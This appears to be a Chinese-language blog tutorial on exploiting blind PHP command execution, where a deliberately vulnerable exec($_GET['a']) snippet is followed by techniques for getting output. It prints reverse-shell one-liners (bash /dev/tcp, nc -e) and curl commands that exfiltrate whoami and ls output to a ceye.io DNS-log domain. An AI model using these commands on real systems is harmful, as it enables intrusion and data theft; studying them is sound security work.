无回显rce,就是可能进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行

例如以下代码:

execsystem类似都是执行系统命令,不过exec无回显

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
?>

我们可以通过sleep 5来观察网页是否有延迟来判断命令是否成功执行

那么如何看到命令执行结果呢?

0x1 tee命令

tee命令用于读取标准输入的数据,并将其内容输出成文件,然后查看输出的文件

1
2
cat xxx | tee 1.txt
# 访问1.txt

0x2 反弹shell

实际上命令执行了只是看不到回显,我们可以把shell反弹到自己服务器上,再执行命令就可以看到回显了

1
2
3
bash -i >& /dev/tcp/ip/port 0>&1
# or
nc -e /bin/sh ip port

0x3 dnslog外带数据法

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

如果我们发起请求的目标是域名的话,会发生域名解析,产生dnslog

dns请求可以通过pingcurl实现

推荐平台:http://ceye.io/,注册后就会有一个自己的域名,每当dns请求中包含有我们的域名,里面就会有记录

例:

1
2
curl http://******.ceye.io/`whoami`
# {"meta": {"code": 201, "message": "HTTP Record Insert Success"}}

m

其他命令也就类似了,但是注意ls只会显示结果中的第一条,要通过sed选择行数

1
curl http://******.ceye.io/`ls | sed -n '2p'`	# 2p为第二行...
⬆︎TOP